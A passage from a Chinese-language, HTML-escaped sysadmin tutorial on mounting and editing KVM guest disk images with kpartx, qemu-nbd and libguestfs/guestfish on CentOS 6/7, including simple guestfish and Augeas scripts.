&lt;p&gt;注意：在CentOS7上使用&lt;code&gt;kpartx -l &#x2F;var&#x2F;lib&#x2F;libvirt&#x2F;images&#x2F;centos6.img&lt;&#x2F;code&gt;有可能无法工作，显示输出类似&lt;code&gt;loop deleted : &#x2F;dev&#x2F;loop2&lt;&#x2F;code&gt;而不是设备映像信息。&lt;&#x2F;p&gt;
&lt;&#x2F;blockquote&gt;
&lt;ul&gt;
&lt;li&gt;添加分区映像到&lt;code&gt;&#x2F;dev&#x2F;mapper&#x2F;&lt;&#x2F;code&gt;下设备&lt;&#x2F;li&gt;
&lt;&#x2F;ul&gt;
&lt;pre&gt;&lt;code&gt;kpartx -a &amp;#x2F;var&amp;#x2F;lib&amp;#x2F;libvirt&amp;#x2F;images&amp;#x2F;guest1.img
&lt;&#x2F;code&gt;&lt;&#x2F;pre&gt;
&lt;ul&gt;
&lt;li&gt;检查磁盘分区映射&lt;&#x2F;li&gt;
&lt;&#x2F;ul&gt;
&lt;pre&gt;&lt;code&gt;ls &amp;#x2F;dev&amp;#x2F;mapper&amp;#x2F;
&lt;&#x2F;code&gt;&lt;&#x2F;pre&gt;
&lt;p&gt;可以看到挂载的分区设备&lt;&#x2F;p&gt;
&lt;pre&gt;&lt;code&gt;loop0p1
loop0p2
&lt;&#x2F;code&gt;&lt;&#x2F;pre&gt;
&lt;ul&gt;
&lt;li&gt;然后就可以使用目录来loop设备，如果需要则创建目录&lt;&#x2F;li&gt;
&lt;&#x2F;ul&gt;
&lt;pre&gt;&lt;code&gt;# mkdir &amp;#x2F;mnt&amp;#x2F;guest1
# mount &amp;#x2F;dev&amp;#x2F;mapper&amp;#x2F;loop0p1 &amp;#x2F;mnt&amp;#x2F;guest1 -o loop,ro
&lt;&#x2F;code&gt;&lt;&#x2F;pre&gt;
&lt;ul&gt;
&lt;li&gt;完成镜像的文件系统修改之后，可以去除分区映射的镜像文件连接：&lt;&#x2F;li&gt;
&lt;&#x2F;ul&gt;
&lt;pre&gt;&lt;code&gt;# kpartx -d &amp;#x2F;var&amp;#x2F;lib&amp;#x2F;libvirt&amp;#x2F;images&amp;#x2F;guest1.img
&lt;&#x2F;code&gt;&lt;&#x2F;pre&gt;
&lt;h2 id=&quot;rhel-centos-6-7-xu-ni-ji-jing-xiang-fang-wen&quot;&gt;RHEL&#x2F;CentOS 6&#x2F;7 虚拟机镜像访问&lt;&#x2F;h2&gt;
&lt;blockquote&gt;
&lt;p&gt;RHEL&#x2F;CentOS 6提供的虚拟机镜像访问方法和 RHEL&#x2F;CentOS 7是一致的，本文实践是在CentOS 7上完成&lt;&#x2F;p&gt;
&lt;&#x2F;blockquote&gt;
&lt;p&gt;访问、修改和创建虚拟机磁盘或磁盘镜像的方式有：&lt;&#x2F;p&gt;
&lt;ul&gt;
&lt;li&gt;查看或下载位于虚拟机磁盘中的文件&lt;&#x2F;li&gt;
&lt;li&gt;编辑或上传虚拟机磁盘中的文件&lt;&#x2F;li&gt;
&lt;li&gt;读写虚拟机配置&lt;&#x2F;li&gt;
&lt;li&gt;准备新磁盘镜像包含文件、目录、文件系统、分区、逻辑卷和其他&lt;&#x2F;li&gt;
&lt;li&gt;紧急救援或修复guest虚拟机启动故障或其他需要修改启动配置&lt;&#x2F;li&gt;
&lt;li&gt;监控虚拟机的磁盘使用&lt;&#x2F;li&gt;
&lt;li&gt;审计guest虚拟机的符合组织安全标准情况&lt;&#x2F;li&gt;
&lt;li&gt;通过克隆或修改模板来部署guest虚拟机&lt;&#x2F;li&gt;
&lt;li&gt;读取CD&#x2F;DVD ISO或软盘磁盘镜像&lt;&#x2F;li&gt;
&lt;&#x2F;ul&gt;
&lt;blockquote&gt;
&lt;p&gt;&lt;code&gt;警告&lt;&#x2F;code&gt;：**&lt;code&gt;永远不要&lt;&#x2F;code&gt;**在guest虚拟机运行或磁盘映像连接在运行虚拟机的时候使用工具写入虚拟机磁盘，甚至不要使用读模式打开这样的磁盘镜像。如果错误操作会导致guest虚拟机的磁盘损坏。工具会尝试阻止你这样误操作，然而有可能工具不能覆盖所有场景。&lt;&#x2F;p&gt;
&lt;p&gt;&lt;code&gt;libguestfs&lt;&#x2F;code&gt;和它的工具集文档可参考man手册。API是通过&lt;code&gt;guestfs(3)&lt;&#x2F;code&gt;文档提供。&lt;code&gt;guestfish&lt;&#x2F;code&gt;文档在&lt;code&gt;guestfish(1)&lt;&#x2F;code&gt;，虚拟工具则在各自的man手册，例如&lt;code&gt;virt-df(1)&lt;&#x2F;code&gt;。有关troubleshooting，请参考&lt;a rel=&quot;noopener&quot; target=&quot;_blank&quot; href=&quot;https:&#x2F;&#x2F;access.redhat.com&#x2F;documentation&#x2F;en-US&#x2F;Red_Hat_Enterprise_Linux&#x2F;7&#x2F;html&#x2F;Virtualization_Deployment_and_Administration_Guide&#x2F;sect-Troubleshooting-libguestfs_troubleshooting.html&quot;&gt;libguestfs Troubleshooting&lt;&#x2F;a&gt;&lt;&#x2F;p&gt;
&lt;&#x2F;blockquote&gt;
&lt;h2 id=&quot;shi-yong-yuan-cheng-lian-jie-de-zhu-yi-dian&quot;&gt;使用远程连接的注意点&lt;&#x2F;h2&gt;
&lt;p&gt;一些RHEL 7的virt命令允许你远程访问libvirt连接，但是在RHEL 7上的&lt;code&gt;libguestfs&lt;&#x2F;code&gt;则不能访问远程&lt;code&gt;libvirt&lt;&#x2F;code&gt; guest的磁盘，并且并且类似使用远程URL的指令都不能工作，例如：&lt;&#x2F;p&gt;
&lt;pre&gt;&lt;code&gt;virt-df -c qemu:&amp;#x2F;&amp;#x2F;remote&amp;#x2F;system -d Guest
&lt;&#x2F;code&gt;&lt;&#x2F;pre&gt;
&lt;p&gt;然而，从RHEL 7开始，&lt;code&gt;libguestfs&lt;&#x2F;code&gt;可以通过&lt;code&gt;NBD&lt;&#x2F;code&gt;访问远程磁盘源。也就是能够通过&lt;code&gt;qemu-nbd&lt;&#x2F;code&gt;命令访问远程主机磁盘，并通过&lt;code&gt;nbd:&#x2F;&#x2F;&lt;&#x2F;code&gt; URL来访问磁盘。不过要注意远程服务器开启防火墙允许访问端口&lt;code&gt;10809&lt;&#x2F;code&gt;。&lt;&#x2F;p&gt;
&lt;p&gt;具体操作案例如下（以下是实践经验，补充了原文档中缺少的一些细节（需要指定&lt;code&gt;--format=raw&lt;&#x2F;code&gt;的nbd磁盘格式），详细请参考&lt;a rel=&quot;noopener&quot; target=&quot;_blank&quot; href=&quot;https:&#x2F;&#x2F;huataihuang.gitbooks.io&#x2F;cloud-atlas&#x2F;content&#x2F;virtual&#x2F;kvm&#x2F;storage&#x2F;libguestfs_nbd_remote_access_image&quot;&gt;使用libguestfs+NBD远程访问磁盘镜像&lt;&#x2F;a&gt;）&lt;&#x2F;p&gt;
&lt;ul&gt;
&lt;li&gt;远程系统启动nbd，此时&lt;code&gt;qemu-nbd&lt;&#x2F;code&gt;运行在前台，打开了服务等待客户端连接（不返回桌面）&lt;&#x2F;li&gt;
&lt;&#x2F;ul&gt;
&lt;pre&gt;&lt;code&gt;qemu-nbd -t &amp;#x2F;var&amp;#x2F;lib&amp;#x2F;libvirt&amp;#x2F;images&amp;#x2F;centos6.img
&lt;&#x2F;code&gt;&lt;&#x2F;pre&gt;
&lt;ul&gt;
&lt;li&gt;本地系统(可以在kvm虚拟机中安装&lt;code&gt;libguestfs-tools&lt;&#x2F;code&gt;工具包)先启动&lt;code&gt;libvirtd&lt;&#x2F;code&gt;&lt;&#x2F;li&gt;
&lt;&#x2F;ul&gt;
&lt;pre&gt;&lt;code&gt;systemctl start libvirtd
&lt;&#x2F;code&gt;&lt;&#x2F;pre&gt;
&lt;ul&gt;
&lt;li&gt;本地系统执行如下命令&lt;&#x2F;li&gt;
&lt;&#x2F;ul&gt;
&lt;pre&gt;&lt;code&gt;virt-df --format=raw -a nbd:&amp;#x2F;&amp;#x2F;192.168.122.1
&lt;&#x2F;code&gt;&lt;&#x2F;pre&gt;
&lt;blockquote&gt;
&lt;p&gt;&lt;code&gt;注意&lt;&#x2F;code&gt;：一定要使用&lt;code&gt;--format=raw&lt;&#x2F;code&gt; - 虽然远程主机上&lt;code&gt;centos6.img&lt;&#x2F;code&gt;实际是&lt;code&gt;qcow2&lt;&#x2F;code&gt;格式，但是&lt;code&gt;qemu-nbd&lt;&#x2F;code&gt;是使用&lt;code&gt;raw&lt;&#x2F;code&gt;方式打开该文件的，所以参数是&lt;code&gt;--format=raw&lt;&#x2F;code&gt;，否则会报告磁盘格式不正确&lt;&#x2F;p&gt;
&lt;&#x2F;blockquote&gt;
&lt;p&gt;此时就可以在本地系统看到远程输出的&lt;code&gt;nbd&lt;&#x2F;code&gt;磁盘的详细空间信息输出，例如：&lt;&#x2F;p&gt;
&lt;pre&gt;&lt;code&gt;192.168.122.1:&amp;#x2F;dev&amp;#x2F;vg_centos6&amp;#x2F;lv_root
                                       8649736    2475860    5711440   29%
&lt;&#x2F;code&gt;&lt;&#x2F;pre&gt;
&lt;p&gt;此时就可以使用以下&lt;code&gt;libguestfs&lt;&#x2F;code&gt;命令：&lt;&#x2F;p&gt;
&lt;pre&gt;&lt;code&gt;guestfish
guestmount
virt-alignment-scan
virt-cat
virt-copy-in
virt-copy-out
virt-df
virt-edit
virt-filesystems
virt-inspector
virt-ls
virt-rescue
virt-sysprep
virt-tar-in
virt-tar-out
virt-win-reg
&lt;&#x2F;code&gt;&lt;&#x2F;pre&gt;
&lt;ul&gt;
&lt;li&gt;&lt;code&gt;libguestfs (GUEST FileSystem LIBrary)&lt;&#x2F;code&gt; - 底层C库提供了基本点打开磁盘镜像，读取和写入文件等等基本功能。可以编写C程序来访问API&lt;&#x2F;li&gt;
&lt;li&gt;&lt;code&gt;guestfish (GUEST Filesystem Interactive SHell&lt;&#x2F;code&gt; - 交互的shell用于在命令行或者shell脚本使用。&lt;code&gt;guestfish&lt;&#x2F;code&gt;输出了libguestfs API所有的功能。&lt;&#x2F;li&gt;
&lt;li&gt;许多virt工具都基于&lt;code&gt;libguestfs&lt;&#x2F;code&gt;，提供了执行特定单一任务的命令行方法。工具包括&lt;code&gt;virt-df&lt;&#x2F;code&gt;，&lt;code&gt;virt-rescue&lt;&#x2F;code&gt;，&lt;code&gt;virt-resize&lt;&#x2F;code&gt;和&lt;code&gt;virt-edit&lt;&#x2F;code&gt;。&lt;&#x2F;li&gt;
&lt;li&gt;&lt;code&gt;augeas&lt;&#x2F;code&gt;是用于编辑Linux配置文件的库，虽然这个库和&lt;code&gt;libguestfs&lt;&#x2F;code&gt;是相互独立的，但是很多&lt;code&gt;libguestfs&lt;&#x2F;code&gt;都结合了这个工具。&lt;&#x2F;li&gt;
&lt;li&gt;&lt;code&gt;guestmount&lt;&#x2F;code&gt;是一个结合&lt;code&gt;libguestfs&lt;&#x2F;code&gt;和&lt;code&gt;FUSE&lt;&#x2F;code&gt;的接口，主要用于在物理服务器上挂载磁盘镜像的文件系统。这个功能不是必须的，但是非常有用。&lt;&#x2F;li&gt;
&lt;&#x2F;ul&gt;
&lt;h2 id=&quot;an-zhuang-libguestfs&quot;&gt;安装&lt;code&gt;libguestfs&lt;&#x2F;code&gt;&lt;&#x2F;h2&gt;
&lt;p&gt;安装&lt;code&gt;libguestfs&lt;&#x2F;code&gt;,&lt;code&gt;guestfish&lt;&#x2F;code&gt;和&lt;code&gt;libguestfs&lt;&#x2F;code&gt;工具，及&lt;code&gt;guestmount&lt;&#x2F;code&gt;:&lt;&#x2F;p&gt;
&lt;pre&gt;&lt;code&gt;yum install libguestfs libguestfs-tools libguestfs-winsupport
&lt;&#x2F;code&gt;&lt;&#x2F;pre&gt;
&lt;p&gt;要安装&lt;code&gt;libguestfs&lt;&#x2F;code&gt;相关软件包，包括语言绑定，使用如下命令：&lt;&#x2F;p&gt;
&lt;pre&gt;&lt;code&gt;yum install &amp;quot;*guestf*&amp;quot;
&lt;&#x2F;code&gt;&lt;&#x2F;pre&gt;
&lt;h2 id=&quot;guestfish-shell&quot;&gt;&lt;code&gt;guestfish&lt;&#x2F;code&gt; SHELL&lt;&#x2F;h2&gt;
&lt;p&gt;&lt;code&gt;guestfish&lt;&#x2F;code&gt;是命令好或者shell脚本中用于访问guest虚拟机文件系统的交互shell。这个shell提供了所有&lt;code&gt;libguestfs&lt;&#x2F;code&gt; API的功能。&lt;&#x2F;p&gt;
&lt;blockquote&gt;
&lt;p&gt;以下案例以&lt;code&gt;centos6.img&lt;&#x2F;code&gt;为案例实践&lt;&#x2F;p&gt;
&lt;&#x2F;blockquote&gt;
&lt;p&gt;要查看或编辑虚拟机磁盘镜像，输入如下命令：&lt;&#x2F;p&gt;
&lt;pre&gt;&lt;code&gt;guestfish --ro -a &amp;#x2F;var&amp;#x2F;lib&amp;#x2F;libvirt&amp;#x2F;images&amp;#x2F;centos6.img
&lt;&#x2F;code&gt;&lt;&#x2F;pre&gt;
&lt;p&gt;这里&lt;code&gt;--ro&lt;&#x2F;code&gt;表示以只读方式打开磁盘镜像。这个模式总是安全的但是不允许写入操作。只有在&lt;code&gt;确定&lt;&#x2F;code&gt;guest虚拟机么有运行或磁盘镜像没有连接到运行中的guest虚拟机时才可以省略这个参数。&lt;code&gt;绝不可以&lt;&#x2F;code&gt;使用libguestfs来编辑运行中guest虚拟机，否则会导致不可逆转的虚拟磁盘损坏。&lt;&#x2F;p&gt;
&lt;p&gt;这里磁盘文件路径可以是一个文件，或者物理主机逻辑卷（例如&lt;code&gt;&#x2F;dev&#x2F;VG&#x2F;LV&lt;&#x2F;code&gt;），物理主机设备（&lt;code&gt;&#x2F;dev&#x2F;cdrom&lt;&#x2F;code&gt;）或SAN LUN（&lt;code&gt;&#x2F;dev&#x2F;sdf3&lt;&#x2F;code&gt;）。&lt;&#x2F;p&gt;
&lt;blockquote&gt;
&lt;p&gt;&lt;strong&gt;注意&lt;&#x2F;strong&gt;&lt;&#x2F;p&gt;
&lt;p&gt;&lt;code&gt;libguestfs&lt;&#x2F;code&gt;和&lt;code&gt;guestfish&lt;&#x2F;code&gt;不需要root权限，只需要确保磁盘镜像具有读写权限即可。&lt;&#x2F;p&gt;
&lt;&#x2F;blockquote&gt;
&lt;p&gt;上述交互模式启动&lt;code&gt;guestfish&lt;&#x2F;code&gt;会提示&lt;&#x2F;p&gt;
&lt;pre&gt;&lt;code&gt;Welcome to guestfish, the guest filesystem shell for
editing virtual machine filesystems and disk images.

Type: &amp;#x27;help&amp;#x27; for help on commands
      &amp;#x27;man&amp;#x27; to read the manual
      &amp;#x27;quit&amp;#x27; to quit the shell

&amp;gt;&amp;lt;fs&amp;gt;
&lt;&#x2F;code&gt;&lt;&#x2F;pre&gt;
&lt;p&gt;在这个提示符下，输入&lt;code&gt;run&lt;&#x2F;code&gt;命令来初始化库以及连接磁盘镜像。首次运行可能会花费30秒钟时间，后续则完成快很多。&lt;&#x2F;p&gt;
&lt;blockquote&gt;
&lt;p&gt;&lt;strong&gt;注意&lt;&#x2F;strong&gt;&lt;&#x2F;p&gt;
&lt;p&gt;&lt;code&gt;libguestfs&lt;&#x2F;code&gt;使用硬件虚拟化加速，例如KVM(如果有的话)来加速处理进程。&lt;&#x2F;p&gt;
&lt;p&gt;&lt;code&gt;guestfish&lt;&#x2F;code&gt;的提示符是&lt;code&gt;&amp;gt;&lt;&#x2F;code&gt;，后续案例中，这个提示符请不要在命令行输入，只表示该行是输入的命令。&lt;&#x2F;p&gt;
&lt;&#x2F;blockquote&gt;
&lt;p&gt;一旦&lt;code&gt;run&lt;&#x2F;code&gt;命令执行完成，其他命令就可以使用。&lt;&#x2F;p&gt;
&lt;h2 id=&quot;shi-yong-guestfishcha-kan-wen-jian-xi-tong&quot;&gt;使用&lt;code&gt;guestfish&lt;&#x2F;code&gt;查看文件系统&lt;&#x2F;h2&gt;
&lt;h3 id=&quot;shou-gong-lie-chu-he-cha-kan&quot;&gt;手工列出和查看&lt;&#x2F;h3&gt;
&lt;p&gt;&lt;code&gt;list-filesystems&lt;&#x2F;code&gt;将列出&lt;code&gt;libguestfs&lt;&#x2F;code&gt;找到的文件系统：&lt;&#x2F;p&gt;
&lt;pre&gt;&lt;code&gt;&amp;gt;&amp;lt;fs&amp;gt; list-filesystems
&amp;#x2F;dev&amp;#x2F;sda1: ext4
&amp;#x2F;dev&amp;#x2F;vg_centos6&amp;#x2F;lv_root: ext4
&amp;#x2F;dev&amp;#x2F;vg_centos6&amp;#x2F;lv_swap: swap
&lt;&#x2F;code&gt;&lt;&#x2F;pre&gt;
&lt;p&gt;其他有用的命令是&lt;code&gt;list-devices&lt;&#x2F;code&gt;，&lt;code&gt;list-partitions&lt;&#x2F;code&gt;，&lt;code&gt;lvs&lt;&#x2F;code&gt;，&lt;code&gt;pvs&lt;&#x2F;code&gt;，&lt;code&gt;vfs-type&lt;&#x2F;code&gt;和&lt;code&gt;file&lt;&#x2F;code&gt;。可以通过&lt;code&gt;help COMMAND&lt;&#x2F;code&gt;来查看详细的帮助：&lt;&#x2F;p&gt;
&lt;pre&gt;&lt;code&gt;&amp;gt;&amp;lt;fs&amp;gt; list-devices
&amp;#x2F;dev&amp;#x2F;sda

&amp;gt;&amp;lt;fs&amp;gt; list-partitions
&amp;#x2F;dev&amp;#x2F;sda1
&amp;#x2F;dev&amp;#x2F;sda2

&amp;gt;&amp;lt;fs&amp;gt; lvs
&amp;#x2F;dev&amp;#x2F;vg_centos6&amp;#x2F;lv_root
&amp;#x2F;dev&amp;#x2F;vg_centos6&amp;#x2F;lv_swap

&amp;gt;&amp;lt;fs&amp;gt; pvs
&amp;#x2F;dev&amp;#x2F;sda2

&amp;gt;&amp;lt;fs&amp;gt; vfs-type &amp;#x2F;dev&amp;#x2F;sda1
ext4

&amp;gt;&amp;lt;fs&amp;gt; vfs-type &amp;#x2F;dev&amp;#x2F;sda2
LVM2_member
&lt;&#x2F;code&gt;&lt;&#x2F;pre&gt;
&lt;p&gt;要查看一个文件系统的实际内容，该文件系统必须被挂载。&lt;&#x2F;p&gt;
&lt;p&gt;可以使用&lt;code&gt;guestfish&lt;&#x2F;code&gt;命令如&lt;code&gt;ls&lt;&#x2F;code&gt;，&lt;code&gt;ll&lt;&#x2F;code&gt;，&lt;code&gt;cat&lt;&#x2F;code&gt;等&lt;&#x2F;p&gt;
&lt;blockquote&gt;
&lt;p&gt;&lt;code&gt;注意&lt;&#x2F;code&gt;&lt;&#x2F;p&gt;
&lt;p&gt;在&lt;code&gt;guestfish&lt;&#x2F;code&gt;中没有当前工作目录这个概念。和原始的shell不同，不能使用&lt;code&gt;cd&lt;&#x2F;code&gt;命令更改目录。所有路径必须是从顶部开始带有一个&lt;code&gt;&#x2F;&lt;&#x2F;code&gt;字符的完全路径。可以使用&lt;code&gt;TAB&lt;&#x2F;code&gt;键来补完路径。&lt;&#x2F;p&gt;
&lt;&#x2F;blockquote&gt;
&lt;p&gt;要退出&lt;code&gt;guestfish&lt;&#x2F;code&gt; 设立了，可以输入&lt;code&gt;exit&lt;&#x2F;code&gt;或者&lt;code&gt;Ctrl+d&lt;&#x2F;code&gt;。&lt;&#x2F;p&gt;
&lt;h3 id=&quot;tong-guo-guestfishjian-cha-inspection&quot;&gt;通过&lt;code&gt;guestfish&lt;&#x2F;code&gt;检查(inspection)&lt;&#x2F;h3&gt;
&lt;p&gt;除了手工列出和挂载文件系统，可以可以使用&lt;code&gt;guestfish&lt;&#x2F;code&gt;自身检查镜像和挂载文件系统，就像是在guest虚拟机内部操作一样。要实现检查，在命令行添加一个&lt;code&gt;-i&lt;&#x2F;code&gt;参数：&lt;&#x2F;p&gt;
&lt;pre&gt;&lt;code&gt;guestfish --ro -a &amp;#x2F;var&amp;#x2F;lib&amp;#x2F;libvirt&amp;#x2F;images&amp;#x2F;centos6.img -i
&lt;&#x2F;code&gt;&lt;&#x2F;pre&gt;
&lt;p&gt;这里和没有&lt;code&gt;-i&lt;&#x2F;code&gt;参数的情况相比，多了以下提示：&lt;&#x2F;p&gt;
&lt;pre&gt;&lt;code&gt;Operating system: CentOS release 6.9 (Final)
&amp;#x2F;dev&amp;#x2F;vg_centos6&amp;#x2F;lv_root mounted on &amp;#x2F;
&amp;#x2F;dev&amp;#x2F;sda1 mounted on &amp;#x2F;boot

&amp;gt;&amp;lt;fs&amp;gt;
&lt;&#x2F;code&gt;&lt;&#x2F;pre&gt;
&lt;blockquote&gt;
&lt;p&gt;此时磁盘镜像已经和guest虚拟机内部一样挂载好了文件系统，可以直接检查&lt;code&gt;&#x2F;&lt;&#x2F;code&gt;就相当于检查guest虚拟机内部的&lt;code&gt;&#x2F;&lt;&#x2F;code&gt;文件系统。&lt;&#x2F;p&gt;
&lt;&#x2F;blockquote&gt;
&lt;pre&gt;&lt;code&gt;&amp;gt;&amp;lt;fs&amp;gt; ll &amp;#x2F;
total 114
dr-xr-xr-x. 22 root root  4096 Apr 14 04:07 .
drwxr-xr-x  19 root root  4096 Apr 18 01:59 ..
-rw-r--r--.  1 root root     0 Apr 14 04:07 .autofsck
dr-xr-xr-x.  2 root root  4096 Apr 11 14:00 bin
dr-xr-xr-x.  5 root root  1024 Apr 11 12:59 boot
drwxr-xr-x.  2 root root  4096 Apr 11 12:54 dev
...
&lt;&#x2F;code&gt;&lt;&#x2F;pre&gt;
&lt;p&gt;由于&lt;code&gt;guestfish&lt;&#x2F;code&gt;需要启动&lt;code&gt;libguestfs&lt;&#x2F;code&gt;后端来执行检查和挂载，所以当使用&lt;code&gt;-i&lt;&#x2F;code&gt;的时候不再需要执行&lt;code&gt;run&lt;&#x2F;code&gt;命令。这个&lt;code&gt;-i&lt;&#x2F;code&gt;参数可以用于大多数常用Linux guest虚拟机。&lt;&#x2F;p&gt;
&lt;h3 id=&quot;tong-guo-ming-zi-fang-wen-guestxu-ni-ji&quot;&gt;通过名字访问guest虚拟机&lt;&#x2F;h3&gt;
&lt;p&gt;guest虚拟机可以通过指定和libvirt相同虚拟机名字的命令来访问（也就是通过&lt;code&gt;virsh list --all&lt;&#x2F;code&gt;查看的虚拟机名字）。使用&lt;code&gt;-d&lt;&#x2F;code&gt;参数来通过虚拟机名字访问磁盘设备，此时可以使用&lt;code&gt;-i&lt;&#x2F;code&gt;选项也可以不使用。&lt;&#x2F;p&gt;
&lt;pre&gt;&lt;code&gt;guestfish --ro -d centos6 -i
&lt;&#x2F;code&gt;&lt;&#x2F;pre&gt;
&lt;p&gt;上述通过指定虚拟机名字方法访问虚拟机磁盘可以直接等同启动虚拟机访问磁盘文件系统。&lt;&#x2F;p&gt;
&lt;h3 id=&quot;shi-yong-guestfishtian-jia-wen-jian&quot;&gt;使用&lt;code&gt;guestfish&lt;&#x2F;code&gt;添加文件&lt;&#x2F;h3&gt;
&lt;p&gt;要使用&lt;code&gt;guestfish&lt;&#x2F;code&gt;添加一个文件，需要使用完整的URI。被访问的虚拟机磁盘文件必须是本地文件，或者是一个网络块设备（NBD）或者一个远程块设备(R
BD)。&lt;&#x2F;p&gt;
&lt;p&gt;以下是一些URI例子，对于本地文件，使用&lt;code&gt;&#x2F;&#x2F;&#x2F;&lt;&#x2F;code&gt;：&lt;&#x2F;p&gt;
&lt;pre&gt;&lt;code&gt;guestfish -a disk.img
guestfish -a file:&amp;#x2F;&amp;#x2F;&amp;#x2F;directory&amp;#x2F;disk.img
guestfish -a nbd:&amp;#x2F;&amp;#x2F;example.com[:port]
guestfish -a nbd:&amp;#x2F;&amp;#x2F;example.com[:port]&amp;#x2F;exportname
guestfish -a nbd:&amp;#x2F;&amp;#x2F;?socket=&amp;#x2F;socket
guestfish -a nbd:&amp;#x2F;&amp;#x2F;&amp;#x2F;exportname?socket=&amp;#x2F;socket
guestfish -a rbd:&amp;#x2F;&amp;#x2F;&amp;#x2F;pool&amp;#x2F;disk
guestfish -a rbd:&amp;#x2F;&amp;#x2F;example.com[:port]&amp;#x2F;pool&amp;#x2F;disk
&lt;&#x2F;code&gt;&lt;&#x2F;pre&gt;
&lt;h3 id=&quot;shi-yong-guestfishxiu-gai-wen-jian&quot;&gt;使用&lt;code&gt;guestfish&lt;&#x2F;code&gt;修改文件&lt;&#x2F;h3&gt;
&lt;p&gt;要针对一个guest虚拟机修改文件，创建目录或者其他修改，首先必须确保虚拟机是关闭状态的。使用&lt;code&gt;guestfish&lt;&#x2F;code&gt;编辑或修改运行中的磁盘将导致磁盘损坏。当确定了guest虚拟机已经关闭，则可以不使用&lt;code&gt;--ro&lt;&#x2F;code&gt;参数：&lt;&#x2F;p&gt;
&lt;pre&gt;&lt;code&gt;guestfish -d centos6 -i
&lt;&#x2F;code&gt;&lt;&#x2F;pre&gt;
&lt;p&gt;此时可以直接使用&lt;code&gt;vi&lt;&#x2F;code&gt;来编辑修改文件，例如&lt;&#x2F;p&gt;
&lt;pre&gt;&lt;code&gt;&amp;gt;&amp;lt;fs&amp;gt; ls &amp;#x2F;boot&amp;#x2F;grub&amp;#x2F;menu.lst
&lt;&#x2F;code&gt;&lt;&#x2F;pre&gt;
&lt;h3 id=&quot;qi-ta-guestfishming-ling&quot;&gt;其他&lt;code&gt;guestfish&lt;&#x2F;code&gt;命令&lt;&#x2F;h3&gt;
&lt;p&gt;和虚拟机中操作文件系统类似，可以直接格式化文件系统，创建分区，创建和调整LVM逻辑卷，使用名林类似 &lt;code&gt;mkfs&lt;&#x2F;code&gt;，&lt;code&gt;part-add&lt;&#x2F;code&gt;，&lt;code&gt;lvresize&lt;&#x2F;code&gt;，&lt;code&gt;lvcreate&lt;&#x2F;code&gt;，&lt;code&gt;vgcreate&lt;&#x2F;code&gt;和&lt;code&gt;pvcreate&lt;&#x2F;code&gt;。&lt;&#x2F;p&gt;
&lt;h3 id=&quot;zai-shelljiao-ben-zhong-shi-yong-guestfish&quot;&gt;在Shell脚本中使用guestfish&lt;&#x2F;h3&gt;
&lt;p&gt;在熟悉了&lt;code&gt;guestfish&lt;&#x2F;code&gt;交互命令之后，可以按需将其加入shell脚本。一下是一个简单的在guest虚拟机增加新MOTD(message of the day)：&lt;&#x2F;p&gt;
&lt;pre&gt;&lt;code&gt;#!&amp;#x2F;bin&amp;#x2F;bash -
 set -e
 guestname=&amp;quot;$1&amp;quot;

 guestfish -d &amp;quot;$guestname&amp;quot; -i &amp;lt;&amp;lt;&amp;#x27;EOF&amp;#x27;
   write &amp;#x2F;etc&amp;#x2F;motd &amp;quot;Welcome to Acme Incorporated.&amp;quot;
   chmod 0644 &amp;#x2F;etc&amp;#x2F;motd
 EOF
&lt;&#x2F;code&gt;&lt;&#x2F;pre&gt;
&lt;h3 id=&quot;augeas-he-libguestfs-jiao-ben&quot;&gt;Augeas 和 &lt;code&gt;libguestfs&lt;&#x2F;code&gt; 脚本&lt;&#x2F;h3&gt;
&lt;p&gt;结合Augeas使用&lt;code&gt;libguestfs&lt;&#x2F;code&gt;可以方便编写操作Linux guest虚拟机配置的脚本。例如，以下脚本使用Augeas来准备guest虚拟机的键盘配置，并且打印输出键盘布局。注意，这个脚本只适合工作在运行Red Hat Enterprise Linux的虚拟机：&lt;&#x2F;p&gt;
&lt;pre&gt;&lt;code&gt;#!&amp;#x2F;bin&amp;#x2F;bash -
 set -e
 guestname=&amp;quot;$1&amp;quot;

 guestfish -d &amp;quot;$1&amp;quot; -i --ro &amp;lt;&amp;lt;&amp;#x27;EOF&amp;#x27;
   aug-init &amp;#x2F; 0
   aug-get &amp;#x2F;files&amp;#x2F;etc&amp;#x2F;sysconfig&amp;#x2F;keyboard&amp;#x2F;LAYOUT
 EOF
&lt;&#x2F;code&gt;&lt;&#x2F;pre&gt;
&lt;p&gt;Augeas也可以用来修改配置文件，可以用来修改键盘布局：&lt;&#x2F;p&gt;
&lt;pre&gt;&lt;code&gt;#!&amp;#x2F;bin&amp;#x2F;bash -
 set -e
 guestname=&amp;quot;$1&amp;quot;

 guestfish -d &amp;quot;$1&amp;quot; -i &amp;lt;&amp;lt;&amp;#x27;EOF&amp;#x27;
   aug-init &amp;#x2F; 0
   aug-set &amp;#x2F;files&amp;#x2F;etc&amp;#x2F;sysconfig&amp;#x2F;keyboard&amp;#x2F;LAYOUT &amp;#x27;&amp;quot;gb&amp;quot;&amp;#x27;
   aug-save
 EOF
&lt;&#x2F;code&gt;&lt;&#x2F;pre&gt;
&lt;p&gt;注意上述连个脚本的3个修改之处：&lt;&#x2F;p&gt;
&lt;ul&gt;
&lt;li&gt;&lt;code&gt;--ro&lt;&#x2F;code&gt;选项在第二个案例中去除，这样就可以写入guest虚拟机&lt;&#x2F;li&gt;
&lt;li&gt;&lt;code&gt;aug-get&lt;&#x2F;code&gt;命令被修改成&lt;code&gt;aug-set&lt;&#x2F;code&gt;来修改值而不是获取只。此时新的&quot;gb&quot;值写入。&lt;&#x2F;li&gt;
&lt;li&gt;&lt;code&gt;aug-save&lt;&#x2F;code&gt;命令将修改写入磁盘&lt;&#x2F;li&gt;
&lt;&#x2F;ul&gt;
&lt;p&gt;以下案例创建磁盘镜像：&lt;&#x2F;p&gt;
&lt;pre&gt;&lt;code&gt;guestfish -N fs
&lt;&#x2F;code&gt;&lt;&#x2F;pre&gt;
&lt;p&gt;或者从磁盘镜像复制整个目录&lt;&#x2F;p&gt;
&lt;pre&gt;&lt;code&gt;&amp;gt;&amp;lt;fs&amp;gt; copy-out &amp;#x2F;home &amp;#x2F;tmp&amp;#x2F;home
&lt;&#x2F;code&gt;&lt;&#x2F;pre&gt;
&lt;h2 id=&quot;qi-ta-ming-ling&quot;&gt;其他命令&lt;&#x2F;h2&gt;
&lt;p&gt;以下命令是简化等同于&lt;code&gt;guestfish&lt;&#x2F;code&gt;来查看和修改guest虚拟机磁盘镜像：&lt;&#x2F;p&gt;
&lt;ul&gt;
